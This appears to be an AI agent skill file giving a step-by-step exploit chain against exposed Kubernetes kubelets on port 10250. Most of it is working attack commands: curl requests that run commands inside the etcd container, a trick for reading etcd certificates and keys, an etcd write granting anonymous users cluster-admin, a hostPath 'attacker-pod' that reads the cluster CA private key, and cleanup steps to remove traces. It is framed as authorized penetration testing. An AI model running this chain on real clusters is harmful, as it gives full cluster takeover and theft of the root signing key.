| name | kubelet-exploit |
| description | Exploit an unauthenticated Kubernetes kubelet API (port 10250) to retrieve the cluster CA private key, even on hardened clusters with distroless containers. Use when performing authorized security testing against a Kubernetes cluster that has an exposed kubelet with anonymous auth enabled and AlwaysAllow authorization. Triggers on tasks involving kubelet exploitation, Kubernetes penetration testing, read-write kubelet attacks, distroless container exploitation, or extracting secrets from Kubernetes clusters via the kubelet API. Requires network access to the kubelet port (10250). No local `etcdctl` needed — the script runs etcdctl inside the etcd container. |
Kubelet Exploit
Exploit an unauthenticated read-write kubelet to retrieve /etc/kubernetes/pki/ca.key from a Kubernetes cluster. Works on modern hardened clusters where control-plane containers are distroless (no cat, sh, or standard utilities).
Prerequisites
- Network access to the target kubelet on port 10250
python3 with ssl, json, urllib (standard library)
- Authorization to perform security testing against the target cluster
- No local tools required — all etcd operations run inside the etcd container via the kubelet API
Workflow
Step 1: Verify unauthenticated kubelet access
curl -sk https://[TARGET]:10250/pods/ | python3 -m json.tool | head
If this returns pod JSON, the kubelet is unauthenticated. Identify the etcd pod name (e.g. etcd-<nodename>).
Step 2: Confirm shell in etcd container
curl -sk "https://[TARGET]:10250/run/kube-system/[ETCD_POD]/etcd?cmd=etcdctl+version" -XPOST
If etcdctl version: X.Y.Z is returned, the etcd container has usable tools.
Step 3: Run the automated exploit
The script accepts the target IP as a command-line argument and auto-detects the etcd pod name and node name from the kubelet pod list:
python3 scripts/exploit_rwkubelet.py [TARGET_IP]
The script automates the full chain: cert verification, in-container etcd RBAC manipulation via printf+etcdctl, pod creation, and key retrieval. No local etcdctl binary is needed.
Step 4: Manual exploitation (if adapting for a different environment)
If the automated script doesn't fit the target environment, follow these manual steps:
4a. Extract etcd certificates using the tab trick to read files via shell builtins:
for file in ca.crt server.crt server.key; do
curl -sk "https://[TARGET]:10250/run/kube-system/[ETCD_POD]/etcd?cmd=sh+-c+while%09read%09REPLY;do%09echo%09%22%24REPLY%22;done%3C/etc/kubernetes/pki/etcd/${file}" -XPOST > etcd-${file}
done
See references/techniques.md for how the tab trick works.
4b. Write a ClusterRoleBinding to etcd granting system:anonymous the cluster-admin role. Encode a minimal protobuf CRB and write it using in-container etcdctl via the tab trick with printf piping hex-escaped bytes:
curl -sk "https://[TARGET]:10250/run/kube-system/[ETCD_POD]/etcd?cmd=sh+-c+printf%09'[HEX_BYTES]'|etcdctl%09put%09/registry/clusterrolebindings/anon-cluster-admin%09--endpoints%3Dhttps%3A//127.0.0.1%3A2379%09--cacert%3D/etc/kubernetes/pki/etcd/ca.crt%09--cert%3D/etc/kubernetes/pki/etcd/server.crt%09--key%3D/etc/kubernetes/pki/etcd/server.key" -XPOST
See references/techniques.md for the printf+pipe technique and references/techniques.md for the encoding format. The exploit script handles this automatically.
4c. Create an attacker pod with a hostPath volume mount:
curl -sk https://[TARGET]:6443/api/v1/namespaces/default/pods \
-H "Content-Type: application/json" -XPOST -d '{
"apiVersion": "v1", "kind": "Pod",
"metadata": {"name": "attacker-pod", "namespace": "default"},
"spec": {
"nodeName": "[NODE_NAME]",
"tolerations": [{"operator": "Exists"}],
"containers": [{"name": "a", "image": "busybox", "command": ["sleep","3600"],
"volumeMounts": [{"name": "pki", "mountPath": "/pki", "readOnly": true}]}],
"volumes": [{"name": "pki", "hostPath": {"path": "/etc/kubernetes/pki"}}]}}'
4d. Read the CA key from the attacker pod:
curl -sk https://[TARGET]:10250/run/default/attacker-pod/a -XPOST -d "cmd=cat /pki/ca.key"
Step 5: Cleanup
Remove the attacker pod and RBAC binding (all via kubelet + API server, no local tools needed):
curl -sk -XDELETE https://[TARGET]:6443/api/v1/namespaces/default/pods/attacker-pod
curl -sk "https://[TARGET]:10250/run/kube-system/[ETCD_POD]/etcd?cmd=etcdctl+del+/registry/clusterrolebindings/anon-cluster-admin+--endpoints%3Dhttps%3A//127.0.0.1%3A2379+--cacert%3D/etc/kubernetes/pki/etcd/ca.crt+--cert%3D/etc/kubernetes/pki/etcd/server.crt+--key%3D/etc/kubernetes/pki/etcd/server.key" -XPOST
Adapting to different environments
- Different etcd pod name: The script auto-detects this from the
/pods/ output. For manual use, look for the pod with etcd- prefix.
- etcd not reachable from host: Not an issue — the script runs etcdctl inside the etcd container via kubelet, connecting to
127.0.0.1:2379.
- No busybox image available: Any image with
cat or a shell works. Alpine, debian, ubuntu, etc. If no image can be pulled, check if any existing non-distroless pod mounts the target path.
- Multi-node clusters: The script auto-detects the node name from the etcd pod name. For manual use, set
nodeName in the pod spec to the control-plane node where /etc/kubernetes/pki exists.
Resources
scripts/exploit_rwkubelet.py — Automated exploit script. Accepts target IP as CLI arg, auto-detects pod/node names, runs etcdctl in-container (no local etcdctl needed). Handles cert verification, protobuf encoding, etcd write via printf+pipe, pod creation, and key retrieval.
references/techniques.md — Detailed reference on kubelet API endpoints, the tab trick for distroless shell execution, writing binary data via in-container etcdctl, and protobuf encoding format.